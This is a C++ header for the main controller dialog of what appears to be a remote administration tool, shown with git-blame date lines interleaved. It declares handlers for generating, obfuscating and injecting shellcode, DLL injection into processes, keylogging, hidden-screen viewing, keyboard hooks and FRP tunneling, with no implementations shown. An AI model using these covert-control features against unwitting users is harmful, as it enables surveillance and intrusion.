2025-12-21 00:27:40 +01:00
|
|
|
|
// 2015RemoteDlg.h : 头文件
|
2019-01-05 20:21:43 +08:00
|
|
|
|
//
|
|
|
|
|
|
|
|
|
|
|
|
#pragma once
|
|
|
|
|
|
#include "afxcmn.h"
|
|
|
|
|
|
#include "TrueColorToolBar.h"
|
|
|
|
|
|
#include "IOCPServer.h"
|
2025-12-05 21:21:45 +01:00
|
|
|
|
#include <common/location.h>
|
2025-12-28 14:39:52 +01:00
|
|
|
|
#include <map>
|
2026-01-17 23:10:01 +01:00
|
|
|
|
#include"file_server.h"
|
2019-01-05 20:21:43 +08:00
|
|
|
|
|
2019-01-13 00:04:50 +08:00
|
|
|
|
//////////////////////////////////////////////////////////////////////////
|
2025-11-29 14:13:34 +01:00
|
|
|
|
// 以下为特殊需求使用
|
2019-02-04 17:49:59 +08:00
|
|
|
|
|
2025-11-29 14:13:34 +01:00
|
|
|
|
// 是否在退出主控端时也退出客户端
|
2019-04-15 16:24:32 +08:00
|
|
|
|
#define CLIENT_EXIT_WITH_SERVER 0
|
|
|
|
|
|
|
2025-12-05 17:40:12 +01:00
|
|
|
|
// 是否使用同步事件处理消息
|
2025-12-28 14:39:52 +01:00
|
|
|
|
#define USING_EVENT 1
|
2025-12-05 17:40:12 +01:00
|
|
|
|
|
2025-05-29 19:49:05 +08:00
|
|
|
|
typedef struct DllInfo {
|
2025-10-15 04:32:59 +08:00
|
|
|
|
std::string Name;
|
|
|
|
|
|
Buffer* Data;
|
|
|
|
|
|
~DllInfo()
|
|
|
|
|
|
{
|
|
|
|
|
|
SAFE_DELETE(Data);
|
|
|
|
|
|
}
|
|
|
|
|
|
} DllInfo;
|
2025-05-29 19:49:05 +08:00
|
|
|
|
|
2025-12-28 14:39:52 +01:00
|
|
|
|
typedef struct FileTransformCmd {
|
|
|
|
|
|
CLock Lock;
|
|
|
|
|
|
std::map<std::string, uint64_t> CmdTime;
|
2026-01-10 16:59:02 +01:00
|
|
|
|
void PutCmd(const std::string& str)
|
|
|
|
|
|
{
|
|
|
|
|
|
Lock.Lock();
|
|
|
|
|
|
CmdTime[str] = time(0);
|
|
|
|
|
|
Lock.Unlock();
|
|
|
|
|
|
}
|
|
|
|
|
|
bool PopCmd(const std::string& str, int timeoutSec = 10)
|
|
|
|
|
|
{
|
|
|
|
|
|
Lock.Lock();
|
|
|
|
|
|
bool valid = CmdTime.find(str) != CmdTime.end() && time(0) - CmdTime[str] < timeoutSec;
|
|
|
|
|
|
CmdTime.erase(str);
|
|
|
|
|
|
Lock.Unlock();
|
|
|
|
|
|
return valid;
|
|
|
|
|
|
}
|
2025-12-28 14:39:52 +01:00
|
|
|
|
} FileTransformCmd;
|
|
|
|
|
|
|
2025-05-29 19:49:05 +08:00
|
|
|
|
#define ID_DYNAMIC_MENU_BASE 36500
|
2026-01-18 22:39:36 +01:00
|
|
|
|
#include "HostInfo.h"
|
2025-09-07 20:31:34 +08:00
|
|
|
|
#include "CGridDialog.h"
|
2025-05-03 20:57:22 +08:00
|
|
|
|
|
|
|
|
|
|
//////////////////////////////////////////////////////////////////////////
|
|
|
|
|
|
|
2025-10-15 04:32:59 +08:00
|
|
|
|
enum {
|
2025-11-29 14:13:34 +01:00
|
|
|
|
PAYLOAD_DLL_X86 = 0, // 32位 DLL
|
|
|
|
|
|
PAYLOAD_DLL_X64 = 1, // 64位 DLL
|
2025-10-15 04:32:59 +08:00
|
|
|
|
PAYLOAD_MAXTYPE
|
2025-04-07 18:18:36 +08:00
|
|
|
|
};
|
|
|
|
|
|
|
2025-11-29 14:13:34 +01:00
|
|
|
|
class CSplashDlg; // 前向声明
|
2026-01-18 22:39:36 +01:00
|
|
|
|
class CClientListDlg;
|
2025-11-29 14:13:34 +01:00
|
|
|
|
|
2025-12-21 00:27:40 +01:00
|
|
|
|
#include "pwd_gen.h"
|
2025-12-05 21:21:45 +01:00
|
|
|
|
|
2025-11-29 14:13:34 +01:00
|
|
|
|
// CMy2015RemoteDlg 对话框
|
2019-01-05 20:21:43 +08:00
|
|
|
|
class CMy2015RemoteDlg : public CDialogEx
|
|
|
|
|
|
{
|
2025-12-21 00:27:40 +01:00
|
|
|
|
public:
|
|
|
|
|
|
static std::string GetHardwareID(int v=-1);
|
2026-01-18 22:39:36 +01:00
|
|
|
|
_ClientList *m_ClientMap = nullptr;
|
|
|
|
|
|
CClientListDlg* m_pClientListDlg = nullptr;
|
|
|
|
|
|
|
2025-11-29 14:13:34 +01:00
|
|
|
|
// 构造
|
2019-01-05 20:21:43 +08:00
|
|
|
|
public:
|
2025-11-29 14:13:34 +01:00
|
|
|
|
CMy2015RemoteDlg(CWnd* pParent = NULL); // 标准构造函数
|
2025-10-15 04:32:59 +08:00
|
|
|
|
~CMy2015RemoteDlg();
|
2025-11-29 14:13:34 +01:00
|
|
|
|
// 对话框数据
|
2025-10-15 04:32:59 +08:00
|
|
|
|
enum { IDD = IDD_MY2015REMOTE_DIALOG };
|
2019-01-05 20:21:43 +08:00
|
|
|
|
protected:
|
2025-11-29 14:13:34 +01:00
|
|
|
|
virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV 支持
|
|
|
|
|
|
// 实现
|
2019-01-05 20:21:43 +08:00
|
|
|
|
protected:
|
2025-10-15 04:32:59 +08:00
|
|
|
|
HICON m_hIcon;
|
|
|
|
|
|
void* m_tinyDLL;
|
|
|
|
|
|
std::string m_superPass;
|
2025-12-21 12:53:19 +01:00
|
|
|
|
BOOL m_needNotify = FALSE;
|
2025-12-22 10:52:38 +01:00
|
|
|
|
DWORD g_StartTick;
|
2025-12-23 21:24:50 +01:00
|
|
|
|
BOOL m_bHookWIN = TRUE;
|
2025-12-25 19:03:07 +01:00
|
|
|
|
BOOL m_runNormal = FALSE;
|
2026-01-17 23:10:01 +01:00
|
|
|
|
FileDownloadServer* m_FileServer = nullptr;
|
2025-11-29 14:13:34 +01:00
|
|
|
|
// 生成的消息映射函数
|
2025-10-15 04:32:59 +08:00
|
|
|
|
virtual BOOL OnInitDialog();
|
|
|
|
|
|
afx_msg void OnSysCommand(UINT nID, LPARAM lParam);
|
|
|
|
|
|
afx_msg void OnPaint();
|
|
|
|
|
|
afx_msg HCURSOR OnQueryDragIcon();
|
|
|
|
|
|
DECLARE_MESSAGE_MAP()
|
2019-01-05 20:21:43 +08:00
|
|
|
|
public:
|
2025-10-15 04:32:59 +08:00
|
|
|
|
void SortByColumn(int nColumn);
|
|
|
|
|
|
afx_msg VOID OnHdnItemclickList(NMHDR* pNMHDR, LRESULT* pResult);
|
|
|
|
|
|
static int CALLBACK CompareFunction(LPARAM lParam1, LPARAM lParam2, LPARAM lParamSort);
|
|
|
|
|
|
template<class T, int id, int Show = SW_SHOW> LRESULT OpenDialog(WPARAM wParam, LPARAM lParam)
|
|
|
|
|
|
{
|
|
|
|
|
|
CONTEXT_OBJECT* ContextObject = (CONTEXT_OBJECT*)lParam;
|
|
|
|
|
|
T* Dlg = new T(this, ContextObject->GetServer(), ContextObject);
|
|
|
|
|
|
BOOL isGrid = id == IDD_DIALOG_SCREEN_SPY;
|
|
|
|
|
|
BOOL ok = (isGrid&&m_gridDlg) ? m_gridDlg->HasSlot() : FALSE;
|
|
|
|
|
|
Dlg->Create(id, ok ? m_gridDlg : GetDesktopWindow());
|
|
|
|
|
|
Dlg->ShowWindow(Show);
|
|
|
|
|
|
if (ok) {
|
|
|
|
|
|
m_gridDlg->AddChild((CDialog*)Dlg);
|
|
|
|
|
|
LONG style = ::GetWindowLong(Dlg->GetSafeHwnd(), GWL_STYLE);
|
2025-11-29 14:13:34 +01:00
|
|
|
|
style &= ~(WS_CAPTION | WS_SIZEBOX); // 去掉标题栏和调整大小
|
2025-10-15 04:32:59 +08:00
|
|
|
|
::SetWindowLong(Dlg->GetSafeHwnd(), GWL_STYLE, style);
|
|
|
|
|
|
::SetWindowPos(Dlg->GetSafeHwnd(), nullptr, 0, 0, 0, 0,
|
|
|
|
|
|
SWP_NOMOVE | SWP_NOSIZE | SWP_NOZORDER | SWP_FRAMECHANGED);
|
|
|
|
|
|
m_gridDlg->ShowWindow(isGrid ? SW_SHOWMAXIMIZED : SW_HIDE);
|
|
|
|
|
|
}
|
2025-06-28 23:52:26 +08:00
|
|
|
|
|
2025-10-15 04:32:59 +08:00
|
|
|
|
ContextObject->hDlg = Dlg;
|
2025-12-16 20:43:03 +01:00
|
|
|
|
if (id == IDD_DIALOG_SCREEN_SPY) {
|
|
|
|
|
|
EnterCriticalSection(&m_cs);
|
|
|
|
|
|
m_RemoteWnds[Dlg->GetSafeHwnd()] = (CDialogBase*)Dlg;
|
|
|
|
|
|
LeaveCriticalSection(&m_cs);
|
|
|
|
|
|
}
|
2019-01-05 20:21:43 +08:00
|
|
|
|
|
2025-10-15 04:32:59 +08:00
|
|
|
|
return 0;
|
|
|
|
|
|
}
|
2025-11-29 14:13:34 +01:00
|
|
|
|
VOID InitControl(); //初始控件
|
|
|
|
|
|
VOID TestOnline(); //测试函数
|
2025-10-15 04:32:59 +08:00
|
|
|
|
VOID AddList(CString strIP, CString strAddr, CString strPCName, CString strOS, CString strCPU, CString strVideo, CString strPing,
|
2026-01-10 23:45:00 +01:00
|
|
|
|
CString ver, CString startTime, std::vector<std::string>& v, CONTEXT_OBJECT* ContextObject);
|
2025-10-15 04:32:59 +08:00
|
|
|
|
VOID ShowMessage(CString strType, CString strMsg);
|
|
|
|
|
|
VOID CreatStatusBar();
|
|
|
|
|
|
VOID CreateToolBar();
|
|
|
|
|
|
VOID CreateNotifyBar();
|
|
|
|
|
|
VOID CreateSolidMenu();
|
|
|
|
|
|
int m_nMaxConnection;
|
|
|
|
|
|
BOOL Activate(const std::string& nPort, int nMaxConnection, const std::string& method);
|
|
|
|
|
|
void UpdateActiveWindow(CONTEXT_OBJECT* ctx);
|
|
|
|
|
|
void SendMasterSettings(CONTEXT_OBJECT* ctx);
|
2025-12-05 17:40:12 +01:00
|
|
|
|
BOOL SendServerDll(CONTEXT_OBJECT* ContextObject, bool isDLL, bool is64Bit);
|
2025-10-15 04:32:59 +08:00
|
|
|
|
Buffer* m_ServerDLL[PAYLOAD_MAXTYPE];
|
|
|
|
|
|
Buffer* m_ServerBin[PAYLOAD_MAXTYPE];
|
|
|
|
|
|
MasterSettings m_settings;
|
|
|
|
|
|
static BOOL CALLBACK NotifyProc(CONTEXT_OBJECT* ContextObject);
|
|
|
|
|
|
static BOOL CALLBACK OfflineProc(CONTEXT_OBJECT* ContextObject);
|
2025-12-23 15:16:01 +01:00
|
|
|
|
BOOL AuthorizeClient(const std::string& sn, const std::string& passcode, uint64_t hmac);
|
2025-10-15 04:32:59 +08:00
|
|
|
|
VOID MessageHandle(CONTEXT_OBJECT* ContextObject);
|
|
|
|
|
|
VOID SendSelectedCommand(PBYTE szBuffer, ULONG ulLength);
|
2025-11-15 04:19:24 +08:00
|
|
|
|
VOID SendAllCommand(PBYTE szBuffer, ULONG ulLength);
|
2025-11-29 14:13:34 +01:00
|
|
|
|
// 显示用户上线信息
|
2025-10-15 04:32:59 +08:00
|
|
|
|
CWnd* m_pFloatingTip = nullptr;
|
|
|
|
|
|
CListCtrl m_CList_Online;
|
|
|
|
|
|
CListCtrl m_CList_Message;
|
|
|
|
|
|
std::set<context*> m_HostList;
|
|
|
|
|
|
std::set<std::string> m_GroupList;
|
|
|
|
|
|
std::string m_selectedGroup;
|
|
|
|
|
|
void LoadListData(const std::string& group);
|
2026-01-10 20:52:00 +01:00
|
|
|
|
void DeletePopupWindow(BOOL bForce = FALSE);
|
2025-12-05 17:40:12 +01:00
|
|
|
|
context* FindHost(context* ctx);
|
|
|
|
|
|
context* FindHost(int port);
|
2025-12-14 00:46:36 +01:00
|
|
|
|
context* FindHost(uint64_t port);
|
2025-06-15 16:57:32 +08:00
|
|
|
|
|
2025-11-29 14:13:34 +01:00
|
|
|
|
CStatusBar m_StatusBar; //状态条
|
2025-10-15 04:32:59 +08:00
|
|
|
|
CTrueColorToolBar m_ToolBar;
|
|
|
|
|
|
CGridDialog * m_gridDlg = NULL;
|
|
|
|
|
|
std::vector<DllInfo*> m_DllList;
|
2025-11-15 04:19:24 +08:00
|
|
|
|
context* FindHostByIP(const std::string& ip);
|
|
|
|
|
|
void InjectTinyRunDll(const std::string& ip, int pid);
|
2025-10-15 04:32:59 +08:00
|
|
|
|
NOTIFYICONDATA m_Nid;
|
|
|
|
|
|
HANDLE m_hExit;
|
|
|
|
|
|
CRITICAL_SECTION m_cs;
|
|
|
|
|
|
BOOL isClosed;
|
|
|
|
|
|
CMenu m_MainMenu;
|
2025-12-22 20:02:57 +01:00
|
|
|
|
CBitmap m_bmOnline[20];
|
2025-10-15 04:32:59 +08:00
|
|
|
|
uint64_t m_superID;
|
2025-10-20 03:56:54 +08:00
|
|
|
|
std::map<HWND, CDialogBase *> m_RemoteWnds;
|
2025-12-28 14:39:52 +01:00
|
|
|
|
FileTransformCmd m_CmdList;
|
2025-10-20 03:56:54 +08:00
|
|
|
|
CDialogBase* GetRemoteWindow(HWND hWnd);
|
2025-12-21 00:27:40 +01:00
|
|
|
|
CDialogBase* GetRemoteWindow(CDialogBase* dlg);
|
2025-10-20 03:56:54 +08:00
|
|
|
|
void RemoveRemoteWindow(HWND wnd);
|
2025-11-29 14:13:34 +01:00
|
|
|
|
CDialogBase* m_pActiveSession = nullptr; // 当前活动会话窗口指针 / NULL 表示无
|
2026-01-17 00:15:05 +01:00
|
|
|
|
void UpdateActiveRemoteSession(CDialogBase* sess);
|
|
|
|
|
|
CDialogBase* GetActiveRemoteSession();
|
2025-11-09 00:49:34 +08:00
|
|
|
|
afx_msg LRESULT OnSessionActivatedMsg(WPARAM wParam, LPARAM lParam);
|
2025-10-20 03:56:54 +08:00
|
|
|
|
static LRESULT CALLBACK LowLevelKeyboardProc(int nCode, WPARAM wParam, LPARAM lParam);
|
|
|
|
|
|
HHOOK g_hKeyboardHook = NULL;
|
2025-10-15 04:32:59 +08:00
|
|
|
|
enum {
|
|
|
|
|
|
STATUS_UNKNOWN = -1,
|
|
|
|
|
|
STATUS_RUN = 0,
|
|
|
|
|
|
STATUS_STOP = 1,
|
|
|
|
|
|
STATUS_EXIT = 2,
|
|
|
|
|
|
};
|
|
|
|
|
|
HANDLE m_hFRPThread = NULL;
|
2025-11-09 00:49:34 +08:00
|
|
|
|
int m_frpStatus = STATUS_UNKNOWN;
|
2025-10-15 04:32:59 +08:00
|
|
|
|
static DWORD WINAPI StartFrpClient(LPVOID param);
|
|
|
|
|
|
void ApplyFrpSettings();
|
|
|
|
|
|
bool CheckValid(int trail = 14);
|
|
|
|
|
|
afx_msg void OnTimer(UINT_PTR nIDEvent);
|
|
|
|
|
|
afx_msg void OnClose();
|
|
|
|
|
|
void Release();
|
|
|
|
|
|
afx_msg void OnSize(UINT nType, int cx, int cy);
|
|
|
|
|
|
afx_msg void OnNMRClickOnline(NMHDR *pNMHDR, LRESULT *pResult);
|
|
|
|
|
|
afx_msg void OnOnlineMessage();
|
|
|
|
|
|
afx_msg void OnOnlineDelete();
|
|
|
|
|
|
afx_msg void OnOnlineUpdate();
|
|
|
|
|
|
afx_msg void OnAbout();
|
|
|
|
|
|
afx_msg void OnIconNotify(WPARAM wParam,LPARAM lParam);
|
|
|
|
|
|
afx_msg void OnNotifyShow();
|
|
|
|
|
|
afx_msg void OnNotifyExit();
|
|
|
|
|
|
afx_msg void OnMainSet();
|
|
|
|
|
|
afx_msg void OnMainExit();
|
|
|
|
|
|
afx_msg void OnOnlineCmdManager();
|
|
|
|
|
|
afx_msg void OnOnlineProcessManager();
|
|
|
|
|
|
afx_msg void OnOnlineWindowManager();
|
|
|
|
|
|
afx_msg void OnOnlineDesktopManager();
|
|
|
|
|
|
afx_msg void OnOnlineAudioManager();
|
|
|
|
|
|
afx_msg void OnOnlineVideoManager();
|
|
|
|
|
|
afx_msg void OnOnlineFileManager();
|
|
|
|
|
|
afx_msg void OnOnlineServerManager();
|
|
|
|
|
|
afx_msg void OnOnlineRegisterManager();
|
|
|
|
|
|
afx_msg VOID OnOnlineKeyboardManager();
|
|
|
|
|
|
afx_msg void OnOnlineBuildClient();
|
|
|
|
|
|
afx_msg LRESULT OnUserToOnlineList(WPARAM wParam, LPARAM lParam);
|
|
|
|
|
|
afx_msg LRESULT OnUserOfflineMsg(WPARAM wParam, LPARAM lParam);
|
|
|
|
|
|
afx_msg LRESULT OnOpenScreenSpyDialog(WPARAM wParam, LPARAM lParam);
|
|
|
|
|
|
afx_msg LRESULT OnOpenFileManagerDialog(WPARAM wParam,LPARAM lParam);
|
|
|
|
|
|
afx_msg LRESULT OnOpenTalkDialog(WPARAM wPrarm,LPARAM lParam);
|
|
|
|
|
|
afx_msg LRESULT OnOpenShellDialog(WPARAM wParam,LPARAM lParam);
|
|
|
|
|
|
afx_msg LRESULT OnOpenSystemDialog(WPARAM wParam,LPARAM lParam);
|
|
|
|
|
|
afx_msg LRESULT OnOpenAudioDialog(WPARAM wParam,LPARAM lParam);
|
|
|
|
|
|
afx_msg LRESULT OnOpenRegisterDialog(WPARAM wParam, LPARAM lParam);
|
|
|
|
|
|
afx_msg LRESULT OnOpenServicesDialog(WPARAM wParam, LPARAM lParam);
|
|
|
|
|
|
afx_msg LRESULT OnOpenVideoDialog(WPARAM wParam, LPARAM lParam);
|
|
|
|
|
|
afx_msg LRESULT OnHandleMessage(WPARAM wParam, LPARAM lParam);
|
|
|
|
|
|
afx_msg LRESULT OnOpenKeyboardDialog(WPARAM wParam, LPARAM lParam);
|
|
|
|
|
|
afx_msg LRESULT OnOpenHideScreenDialog(WPARAM wParam, LPARAM lParam);
|
|
|
|
|
|
afx_msg LRESULT OnOpenMachineManagerDialog(WPARAM wParam, LPARAM lParam);
|
|
|
|
|
|
afx_msg LRESULT OnOpenProxyDialog(WPARAM wParam, LPARAM lParam);
|
|
|
|
|
|
afx_msg LRESULT OnOpenChatDialog(WPARAM wParam, LPARAM lParam);
|
|
|
|
|
|
afx_msg LRESULT OnOpenDecryptDialog(WPARAM wParam, LPARAM lParam);
|
|
|
|
|
|
afx_msg LRESULT OnOpenFileMgrDialog(WPARAM wParam, LPARAM lParam);
|
|
|
|
|
|
afx_msg LRESULT OnOpenDrawingBoard(WPARAM wParam, LPARAM lParam);
|
|
|
|
|
|
afx_msg LRESULT UPXProcResult(WPARAM wParam, LPARAM lParam);
|
2025-11-15 04:19:24 +08:00
|
|
|
|
afx_msg LRESULT InjectShellcode(WPARAM wParam, LPARAM lParam);
|
2025-11-19 05:55:24 +08:00
|
|
|
|
afx_msg LRESULT AntiBlackScreen(WPARAM wParam, LPARAM lParam);
|
2025-11-15 04:19:24 +08:00
|
|
|
|
afx_msg LRESULT ShareClient(WPARAM wParam, LPARAM lParam);
|
|
|
|
|
|
LRESULT assignFunction(WPARAM wParam, LPARAM lParam, BOOL all);
|
|
|
|
|
|
afx_msg LRESULT AssignClient(WPARAM wParam, LPARAM lParam);
|
|
|
|
|
|
afx_msg LRESULT AssignAllClient(WPARAM wParam, LPARAM lParam);
|
2025-12-02 21:45:43 +01:00
|
|
|
|
afx_msg LRESULT UpdateUserEvent(WPARAM wParam, LPARAM lParam);
|
2025-10-15 04:32:59 +08:00
|
|
|
|
afx_msg BOOL OnHelpInfo(HELPINFO* pHelpInfo);
|
|
|
|
|
|
virtual BOOL PreTranslateMessage(MSG* pMsg);
|
2025-12-17 15:54:50 +01:00
|
|
|
|
int m_TraceTime = 1000;
|
|
|
|
|
|
virtual LRESULT WindowProc(UINT message, WPARAM wParam, LPARAM lParam);
|
2025-10-15 04:32:59 +08:00
|
|
|
|
afx_msg void OnOnlineShare();
|
|
|
|
|
|
afx_msg void OnToolAuth();
|
|
|
|
|
|
afx_msg void OnToolGenMaster();
|
|
|
|
|
|
afx_msg void OnMainProxy();
|
|
|
|
|
|
afx_msg void OnOnlineHostnote();
|
|
|
|
|
|
afx_msg void OnHelpImportant();
|
|
|
|
|
|
afx_msg void OnHelpFeedback();
|
|
|
|
|
|
afx_msg void OnDynamicSubMenu(UINT nID);
|
|
|
|
|
|
afx_msg void OnOnlineVirtualDesktop();
|
|
|
|
|
|
afx_msg void OnOnlineGrayDesktop();
|
|
|
|
|
|
afx_msg void OnOnlineRemoteDesktop();
|
|
|
|
|
|
afx_msg void OnOnlineH264Desktop();
|
|
|
|
|
|
afx_msg void OnWhatIsThis();
|
|
|
|
|
|
afx_msg void OnOnlineAuthorize();
|
|
|
|
|
|
void OnListClick(NMHDR* pNMHDR, LRESULT* pResult);
|
|
|
|
|
|
afx_msg void OnOnlineUnauthorize();
|
|
|
|
|
|
afx_msg void OnToolRequestAuth();
|
|
|
|
|
|
afx_msg LRESULT OnPasswordCheck(WPARAM wParam, LPARAM lParam);
|
|
|
|
|
|
afx_msg void OnToolInputPassword();
|
2025-12-21 12:53:19 +01:00
|
|
|
|
afx_msg LRESULT OnShowNotify(WPARAM wParam, LPARAM lParam);
|
2025-10-15 04:32:59 +08:00
|
|
|
|
afx_msg LRESULT OnShowMessage(WPARAM wParam, LPARAM lParam);
|
|
|
|
|
|
afx_msg void OnToolGenShellcode();
|
|
|
|
|
|
afx_msg void OnOnlineAssignTo();
|
|
|
|
|
|
afx_msg void OnNMCustomdrawMessage(NMHDR* pNMHDR, LRESULT* pResult);
|
|
|
|
|
|
afx_msg void OnOnlineAddWatch();
|
|
|
|
|
|
afx_msg void OnNMCustomdrawOnline(NMHDR* pNMHDR, LRESULT* pResult);
|
|
|
|
|
|
afx_msg void OnOnlineRunAsAdmin();
|
|
|
|
|
|
afx_msg LRESULT OnShowErrMessage(WPARAM wParam, LPARAM lParam);
|
|
|
|
|
|
afx_msg void OnMainWallet();
|
|
|
|
|
|
afx_msg void OnToolRcedit();
|
|
|
|
|
|
afx_msg void OnOnlineUninstall();
|
|
|
|
|
|
afx_msg void OnOnlinePrivateScreen();
|
|
|
|
|
|
CTabCtrl m_GroupTab;
|
|
|
|
|
|
afx_msg void OnSelchangeGroupTab(NMHDR* pNMHDR, LRESULT* pResult);
|
|
|
|
|
|
afx_msg void OnObfsShellcode();
|
2025-10-19 19:52:12 +08:00
|
|
|
|
afx_msg void OnOnlineRegroup();
|
|
|
|
|
|
afx_msg void OnMachineShutdown();
|
|
|
|
|
|
afx_msg void OnMachineReboot();
|
|
|
|
|
|
afx_msg void OnExecuteDownload();
|
|
|
|
|
|
afx_msg void OnExecuteUpload();
|
|
|
|
|
|
afx_msg void OnMachineLogout();
|
|
|
|
|
|
void MachineManage(MachineCommand type);
|
2025-10-20 03:56:54 +08:00
|
|
|
|
afx_msg void OnDestroy();
|
2025-11-08 23:11:34 +08:00
|
|
|
|
afx_msg void OnToolGenShellcodeBin();
|
|
|
|
|
|
afx_msg void OnShellcodeLoadTest();
|
|
|
|
|
|
afx_msg void OnShellcodeObfsLoadTest();
|
|
|
|
|
|
afx_msg void OnObfsShellcodeBin();
|
2025-11-10 06:34:38 +08:00
|
|
|
|
afx_msg void OnShellcodeAesBin();
|
|
|
|
|
|
afx_msg void OnShellcodeTestAesBin();
|
2025-11-13 05:23:01 +08:00
|
|
|
|
afx_msg void OnToolReloadPlugins();
|
2025-11-20 05:23:28 +08:00
|
|
|
|
afx_msg void OnShellcodeAesCArray();
|
2025-11-27 23:00:20 +01:00
|
|
|
|
afx_msg void OnParamKblogger();
|
2025-12-06 11:53:56 +01:00
|
|
|
|
afx_msg void OnOnlineInjNotepad();
|
2025-12-17 23:07:54 +01:00
|
|
|
|
afx_msg void OnParamLoginNotify();
|
|
|
|
|
|
afx_msg void OnParamEnableLog();
|
2025-12-22 20:02:57 +01:00
|
|
|
|
afx_msg void OnProxyPort();
|
2025-12-23 21:24:50 +01:00
|
|
|
|
afx_msg void OnHookWin();
|
2025-12-25 19:03:07 +01:00
|
|
|
|
afx_msg void OnRunasService();
|
2026-01-18 22:39:36 +01:00
|
|
|
|
afx_msg void OnHistoryClients();
|
2019-01-05 20:21:43 +08:00
|
|
|
|
};
|